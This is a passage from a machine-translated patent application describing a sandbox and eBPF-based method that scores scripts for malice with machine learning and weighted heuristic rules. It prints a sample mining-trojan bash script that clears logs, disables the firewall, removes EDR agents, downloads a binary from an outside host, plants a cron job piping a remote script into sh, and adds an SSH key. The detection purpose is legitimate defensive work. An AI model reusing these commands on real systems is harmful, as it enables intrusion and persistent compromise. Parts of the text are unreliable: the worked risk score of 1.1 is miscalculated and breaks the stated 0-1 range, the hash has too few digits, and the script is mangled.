[0174] From the above, we can see that this application uses the eBPF mechanism to monitor the system in depth, capture the decryption and deobfuscation process of malicious scripts, and monitor key directories, file operations and network communications in real time to ensure comprehensive behavior monitoring. In the dynamic identification process, the malicious scripts are accurately detected by extracting and analyzing behaviors such as firewall disabling, log clearing, rebound shell, binary download and scheduled task implantation.

[0175] See also Figure 3 , Figure 3 A schematic flow chart of another malicious script detection method provided in an embodiment of the present application, the method comprising the following steps:

[0176] S301, obtaining a target script to be analyzed;

[0177] S302, performing text analysis on the target script to generate static analysis results;

[0178] S303, running the target script through the sandbox container, obtaining operation events of the target script during the running process, and generating dynamic analysis results according to the operation events;

[0179] S304, extracting feature vectors from the static analysis results and the dynamic analysis results, and inputting them into a machine learning model to obtain a first risk assessment result;

[0180] S305, determining high-risk behavior rules and suspicious behavior combination rules in the heuristic rule set;

[0181] S306, detecting a high-risk behavior rule that matches the malicious operation behavior, and determining a first matching score according to a weight score of the matched high-risk behavior rule;

[0182] S307, detecting a suspicious behavior combination rule that matches the first malicious operation behavior sequence and the second malicious operation behavior sequence, and determining a second matching score according to a weight score of the matched suspicious behavior combination rule;

[0183] S308, determining a total matching score according to the first matching score and the second matching score;

[0184] S309: Obtain the malicious probability score in the first risk assessment result, and obtain the total matching score in the second risk assessment result;

[0185] S310, calculating a comprehensive risk score using the malicious probability score, the total matching score, the first weight coefficient of the malicious probability score, and the second weight coefficient of the total matching score;

[0186] S311. Determine the risk assessment level of the target script based on the comprehensive score.

[0187] In this embodiment, a combination of high-risk behaviors and suspicious behaviors can be matched from the dynamic analysis results through a heuristic rule set. Among them, some high-risk behaviors are defined in the high-risk behavior rules, such as deleting system logs and disabling security software. In addition, for each rule, a corresponding weight score is also set, such as: the weight score for deleting system logs is 0.8, and the weight score for disabling security software is 0.7. If multiple high-risk behaviors are matched from the dynamic analysis results, the sum of the weight scores of the multiple high-risk behaviors is used as the first matching score.

[0188] Among them, the suspicious behavior combination rule defines a combination of multiple behaviors with potential threats, such as: the rule defines the combination of "download execution + scheduled task modification + network connection" as a suspicious behavior. And the weight score of each behavior is defined in the rule, such as: the weight score of downloading and executing external files is 0.5, the weight score of scheduled task modification is 0.4, and the weight score of network connection to external IP is 0.6. If this suspicious behavior combination rule is matched in the malicious operation behavior sequence, the second matching score obtained is: 1.5. The total matching score in this embodiment is the sum of the first matching score and the second matching score. Further, if the first risk assessment result obtained by the machine learning model is a malicious probability score, the comprehensive risk score can be calculated based on the malicious probability score, the total matching score, the first weight coefficient of the malicious probability score and the second weight coefficient of the total matching score. In addition, when calculating the comprehensive risk, if the total matching score is too high, the full score coefficient of the total matching score can be set to normalize the total matching score to ensure that all scores are between 0-1.

[0189] For example, the target script is a malicious mining script, and it performs the following actions during runtime: downloads an external file and executes it; modifies scheduled tasks to ensure that the malicious program runs regularly; and disables the system firewall.

[0190] When this embodiment obtains the first risk assessment result through the random forest model, the above-mentioned behavior features are extracted and expressed as a 500-dimensional vector. The random forest model classifies the feature vector and outputs a malicious probability score of 0.75. When matching the behavior through the heuristic rule set, it is found that the behavior of the malicious mining script matches the "download and execute external files" rule with a score of 0.5, and matches the "scheduled task modification" rule with a score of 0.4. The "firewall disabled" rule is matched with a score of 0.7, so the total matching score is: 0.5+0.4+0.7=1.6. If the first weight coefficient of the malicious probability score is set to 0.4, the second weight coefficient of the total matching score is 0.6, and the full score coefficient of the total matching score is 2, then the calculated comprehensive risk score is: 0.4*0.75+0.6*(1.6 / 2)=1.1.

[0191] If the pre-set risk assessment level standards are: low risk: 0-0.3; medium risk: 0.3-0.7; high risk: 0.7-1.5; then the final score of the above calculation result is 1.1, so the risk assessment level is high risk.

[0192] Furthermore, after determining the comprehensive risk assessment result according to the first risk assessment result and the second risk assessment result, this embodiment can also generate a risk assessment report according to the basic information of the target script, the static analysis result, the dynamic analysis result and the comprehensive risk assessment result.

[0193] Specifically, before generating a risk assessment report, data aggregation is first required to collect the results of all analysis stages, integrate static analysis results and dynamic analysis results, generate behavioral summaries and key findings; then use the predefined JSON template structure to fill in the data of each part, which mainly includes: basic information of the target script, including the file hash of the target script, analysis time, etc.; static analysis results, dynamic behavior analysis, risk assessment results, detailed behavior timeline, etc. In addition, this embodiment can also use the D3.js library to generate behavior maps and use Plotly.js to create time series charts. After generating the risk assessment report, the complete report can be saved to a distributed storage system, such as MinIO; a report summary can also be generated and pushed to subscribers through a message queue, where the message queue can be RabbitMQ.

[0194] Here, this embodiment provides a complete embodiment for detecting malicious scripts:

[0195] 1. Task reception: A bash script file is received. In this embodiment, a mining Trojan script is used as an example to illustrate:

[0196] TOML

[0197] #! / bin / bash

[0198] rm -rf / var / log / syslog# Clear log

[0199] ufw disable#Turn off the firewall

[0200] userdel vfinder#Uninstall EDR

[0201] / usr / local / qcloud / YunJing / uninst.sh#Uninstall EDR

[0202] wget / salt-store http: / / 416419.selcdn.ru / cdn / salt_storer#Download binary

[0203] echo "*****$LDR http: / / 217.8.117.`37 / c.sh|sh>dev / null 2&1"

[0204] |crontab-#Implant scheduled tasks

[0205] cat"$SSH_KEY_FILE">>~ / .ssh / authorized_keys

[0206] The task priority is set to "high" and the timeout is set to 10 minutes.

[0207] 2. Preprocessing:

[0208] Generate task ID: f3a24d8b-7d1c-4e5a-9f8e-7f1e6b3a5c4d

[0209] Calculate the SHA256 hash of the file:

[0210] 8f4e7d1c9b3a2f1e6b5a8c7d9f1e3b5a8c7d9f1e3b5a8c7d9f1e3b5a

[0211] File type identification: ASCII text executable

[0212] 3. Sandbox preparation:

[0213] Creating an Alpine Linux-based Docker container

[0214] Set the container hostname to "srv-prod-01" and the IP address to "192.168.1.100"

[0215] Deploy eBPF probes and set monitoring points

[0216] 4. Script execution and monitoring:

[0217] 4.1. Static analysis found that the script contains base64-encoded paragraphs

[0218] 4.2. Use the bash interpreter to execute the script, and eBPF captures the following key behaviors in real time:

[0219] a. Delete the / var / log / syslog file b. Execute the ufw command to try to disable the firewall c. Delete the user named "vfinder" d. Execute the script named "uninst.sh" located in the / usr / local / qcloud / YunJing / directory e. Use wget to download the file, the URL is http: / / 416419.selcdn.ru / cdn / salt_storer f. Modify crontab and add a new scheduled task g. Append content to the ~ / .ssh / authorized_keys file

[0220] 5. Behavior analysis and risk assessment:

[0221] 5.1. Extract behavioral features: log deletion, firewall disable attempt, user deletion, suspicious software uninstallation, external file download, scheduled task modification, SSH key operation

[0222] 5.2. Apply the machine learning model: Input the extracted 500-dimensional feature vector, and the model outputs a malicious probability score of 0.92;

[0223] 5.3. Rule matching:

[0224] Triggering the "Log Delete" rule, score: 10 points; triggering the "Firewall Disable" rule, score: 8 points; triggering the "Suspicious Download + Scheduled Task" combination rule, score: 15 points;

[0225] 5.3. Calculation of comprehensive risk score: 0.4*0.92+0.6*(33 / 40)=0.368+0.495=0.863;

[0226] 6. Result report:

[0227] Generate a detailed report in JSON format containing all analysis results;

[0228] Risk assessment conclusion: high risk (score 0.863);

[0229] Possible malicious intent: Cryptocurrency mining, persistence, evasion of detection;

[0230] Recommended actions: Isolate the infected system immediately, remove malicious components, and strengthen system security protection.

[0231] From the above, it can be seen that after this solution creates an isolated operating environment, potentially malicious scripts can be run in this environment; during the running of the script, its behavior will be monitored and recorded. In the dynamic analysis process, by identifying and extracting behaviors such as firewall disabling, log clearing, rebound shell, binary download, and scheduled task implantation, and combining multi-feature decision-making mechanisms for graded alarms, the accuracy and effectiveness of detection are improved. In this way, even unprecedented new malicious scripts can be effectively discovered. This solution uses Docker containers to run scripts, which can achieve a lightweight design of the system, making the entire detection process faster and taking up less system resources. This solution also adopts a cloud-native architecture design, supports clustered deployment, and can dynamically expand analysis capabilities as needed to improve the scalability and flexibility of the system.

[0232] See also Figure 4 , Figure 4A schematic diagram of the structure of a malicious script detection device provided in an embodiment of the present application, the device specifically comprises:

[0233] A first acquisition module 11 is used to acquire a target script to be analyzed;

[0234] A first analysis module 12, configured to perform text analysis on the target script and generate a static analysis result;

[0235] A second acquisition module 13 is used to run the target script through a sandbox container and acquire operation events of the target script during the running process;

[0236] A second analysis module 14, used to generate a dynamic analysis result according to the operation event;

[0237] A first assessment module 15, configured to extract feature vectors from the static analysis results and the dynamic analysis results, and input the feature vectors into a machine learning model to obtain a first risk assessment result;

[0238] A second assessment module 16, configured to match the operation behavior in the dynamic analysis result through a heuristic rule set to determine a second risk assessment result;

[0239] The result determination module 17 is used to determine a comprehensive risk assessment result according to the first risk assessment result and the second risk assessment result.

[0240] As an optional embodiment, the first analysis module is specifically used to: perform text analysis on the target script, identify target code segments in the target script, and record code information and location of each target code segment; wherein the type of the target code segment includes: at least one of an obfuscated code segment, an encrypted code segment, a command, a function, a string, and a constant.

[0241] As an optional embodiment, the second analysis module includes:

[0242] An identification unit, used to identify malicious operation behaviors in the operation events;

[0243] A first search unit, used to match the operation event sequence in the sliding window with the malicious behavior pattern, and search for a first malicious operation behavior sequence whose similarity exceeds a predetermined threshold;

[0244] The second searching unit is used to search for a second malicious operation behavior sequence that meets the malicious timing pattern according to the time interval of each operation event.

[0245] As an optional embodiment, the second evaluation module includes:

[0246] A first determination unit, used to determine high-risk behavior rules and suspicious behavior combination rules in the heuristic rule set;

[0247] A first detection unit, configured to detect a high-risk behavior rule that matches the malicious operation behavior, and determine a first matching score according to a weight score of the matched high-risk behavior rule;

[0248] A second detection unit, configured to detect a suspicious behavior combination rule that matches the first malicious operation behavior sequence and the second malicious operation behavior sequence, and determine a second matching score according to a weight score of the matched suspicious behavior combination rule;

[0249] A second determining unit is configured to determine a total matching score according to the first matching score and the second matching score.

[0250] As an optional embodiment, the second acquisition module is specifically used to: obtain operation events of the target script during its execution through the eBPF mechanism of the sandbox container; the operation events include: system call events, network activity events, file operation events, and process management events.

[0251] As an optional embodiment, the result determination module includes:

[0252] an acquisition unit, configured to acquire a malicious probability score in the first risk assessment result and acquire a total matching score in the second risk assessment result;

[0253] a calculation unit, configured to calculate a comprehensive risk score by using the malicious probability score, the total matching score, a first weight coefficient of the malicious probability score, and a second weight coefficient of the total matching score;

[0254] A third determining unit is used to determine the risk assessment level of the target script according to the comprehensive score.

[0255] As an optional embodiment, the device further includes:

[0256] A report generation module is used to generate a risk assessment report based on the basic information of the target script, the static analysis results, the dynamic analysis results and the comprehensive risk assessment results.

[0257] Regarding the device in the above embodiment, the specific manner in which each module performs operations has been described in detail in the embodiment of the method, and will not be elaborated here.

[0258] See also Figure 5 , Figure 5 A schematic diagram of the structure of an electronic device provided in an embodiment of the present application, the electronic device specifically includes:

[0259] The processor 21, the memory 22 and a computer program stored in the memory 22 and executable on the processor 21. The processor 21 executes the steps of the malicious script detection method described in any of the above method embodiments through the computer program.

[0260] Among them, the processor 21 may include one or more processing cores, such as a 4-core processor, an 8-core processor, etc. The processor 21 may be implemented in at least one hardware form of DSP (Digital Signal Processing), FPGA (Field-Programmable Gate Array), and PLA (Programmable Logic Array). The processor 21 may also include a main processor and a coprocessor. The main processor is a processor for processing data in the awake state, also known as a CPU (Central Processing Unit); the coprocessor is a low-power processor for processing data in the standby state. In some embodiments, the processor 21 may be integrated with a GPU (Graphics Processing Unit), which is responsible for rendering and drawing the content to be displayed on the display screen. In some embodiments, the processor 21 may also include an AI (Artificial Intelligence) processor, which is used to process computing operations related to machine learning.

[0261] The memory 22 may include one or more computer-readable storage media, which may be non-transitory. The memory 22 may also include a high-speed random access memory, and a non-volatile memory, such as one or more disk storage devices, flash memory storage devices. In this embodiment, the memory 22 is at least used to store the following computer program 221, wherein, after the computer program is loaded and executed by the processor 21, it can implement the relevant steps in the malicious script detection method disclosed in any of the aforementioned embodiments. In addition, the resources stored in the memory 22 may also include an operating system 222 and data 223, etc., and the storage method may be temporary storage or permanent storage. Among them, the operating system 222 may include Windows, Unix, Linux, etc.

[0262] In some embodiments, the electronic device may further include a display screen 23 , an input / output interface 24 , a communication interface 25 , a sensor 26 , a power source 27 , and a communication bus 28 .

[0263] certainly, Figure 5The structure of the electronic device shown does not constitute a limitation on the electronic device in the embodiments of the present application. In actual applications, the electronic device may include Figure 5 More or fewer components than shown, or combinations of certain components.

[0264] In another exemplary embodiment, a computer storage medium is further provided, and when the program instructions are executed by a processor, the steps of the malicious script detection method described in any of the above method embodiments are implemented.

[0265] The storage medium may include: a USB flash drive, a mobile hard disk, a read-only memory (ROM), a random access memory (RAM), a magnetic disk or an optical disk, and other media that can store program codes.

[0266] Optionally, the specific examples in this embodiment may refer to the examples described in the above embodiments, and this embodiment will not be described in detail here.

[0267] It should be understood that the terms used herein are only for the purpose of describing specific example embodiments and are not intended to be limiting. Unless the context clearly indicates otherwise, the singular forms "one", "an" and "said" as used herein may also be meant to include plural forms. The terms "include", "comprise", "contain", and "have" are inclusive, and therefore specify the existence of stated features, steps, operations, elements and / or parts, but do not exclude the existence or addition of one or more other features, steps, operations, elements, parts, and / or combinations thereof. The method steps, processes, and operations described herein are not interpreted as necessarily requiring them to be performed in the specific order described or illustrated, unless the execution order is clearly indicated. It should also be understood that additional or alternative steps may be used.

[0268] The foregoing is merely a specific embodiment of the present invention, which enables those skilled in the art to understand or implement the present invention. Various modifications to these embodiments will be apparent to those skilled in the art, and the general principles defined herein may be implemented in other embodiments without departing from the spirit or scope of the present invention. Therefore, the present invention will not be limited to the embodiments shown herein, but rather to the widest scope consistent with the principles and novel features claimed herein.

Claims

1. A method for detecting malicious scripts, characterized in that: include: Get the target script to be analyzed; Performing text analysis on the target script to generate static analysis results; Run the target script through a sandbox container, obtain operation events of the target script during the running process, and generate dynamic analysis results according to the operation events; Extracting feature vectors from the static analysis results and the dynamic analysis results, and inputting them into a machine learning model to obtain a first risk assessment result; Matching the operation behaviors in the dynamic analysis result through a heuristic rule set to determine a second risk assessment result; A comprehensive risk assessment result is determined based on the first risk assessment result and the second risk assessment result.

2. The detection method according to claim 1, characterized in that: Perform text analysis on the target script to generate static analysis results, including: Performing text analysis on the target script, identifying target code segments in the target script, and recording code information and location of each target code segment; The type of the target code segment includes at least one of an obfuscated code segment, an encrypted code segment, a command, a function, a character string and a constant.

3. The detection method according to claim 1, characterized in that: Generate dynamic analysis results according to the operation event, including: Identifying malicious operation behaviors in the operation events; Matching the operation event sequence in the sliding window with the malicious behavior pattern, and searching for the first malicious operation behavior sequence whose similarity exceeds a predetermined threshold; According to the time intervals of the operation events, a second malicious operation behavior sequence satisfying the malicious timing pattern is searched.

4. The detection method according to claim 3, characterized in that: The step of matching the operation behaviors in the dynamic analysis result by using a heuristic rule set to determine the second risk assessment result includes: Determining high-risk behavior rules and suspicious behavior combination rules in the heuristic rule set; Detecting a high-risk behavior rule that matches the malicious operation behavior, and determining a first matching score according to a weight score of the matched high-risk behavior rule; Detecting a suspicious behavior combination rule that matches the first malicious operation behavior sequence and the second malicious operation behavior sequence, and determining a second matching score according to a weight score of the matched suspicious behavior combination rule; A total matching score is determined according to the first matching score and the second matching score.

5. The detection method according to claim 1, characterized in that: The obtaining of the operation event of the target script during its running process includes: The operation events of the target script during its operation are obtained through the eBPF mechanism of the sandbox container; the operation events include: system call events, network activity events, file operation events, and process management events.

6. The detection method according to any one of claims 1 to 5, characterized in that: Determining a comprehensive risk assessment result according to the first risk assessment result and the second risk assessment result includes: Obtaining a malicious probability score in the first risk assessment result, and obtaining a total matching score in the second risk assessment result; Calculating a comprehensive risk score using the malicious probability score, the total matching score, a first weight coefficient of the malicious probability score, and a second weight coefficient of the total matching score; A risk assessment level of the target script is determined according to the comprehensive score.

7. The detection method according to claim 6, characterized in that: After determining the comprehensive risk assessment result according to the first risk assessment result and the second risk assessment result, the method further includes: A risk assessment report is generated based on the basic information of the target script, the static analysis results, the dynamic analysis results and the comprehensive risk assessment results.

8. A malicious script detection device, characterized in that: include: A first acquisition module is used to acquire a target script to be analyzed; A first analysis module, used to perform text analysis on the target script and generate a static analysis result; A second acquisition module is used to run the target script through a sandbox container and acquire operation events of the target script during the running process; A second analysis module, used to generate a dynamic analysis result according to the operation event; A first assessment module, used to extract feature vectors from the static analysis results and the dynamic analysis results, and input them into a machine learning model to obtain a first risk assessment result; A second assessment module, used to match the operation behavior in the dynamic analysis result through a heuristic rule set to determine a second risk assessment result; A result determination module is used to determine a comprehensive risk assessment result according to the first risk assessment result and the second risk assessment result.

9. An electronic device, characterized in that: include: A processor, a memory, and a computer program stored in the memory and executable on the processor, wherein the processor executes the steps of the malicious script detection method described in any one of claims 1 to 7 through the computer program.

10. A computer storage medium, characterized in that: The computer storage medium stores computer executable instructions, and the computer executable instructions are used to execute the steps of the malicious script detection method described in any one of claims 1 to 7 above.

Images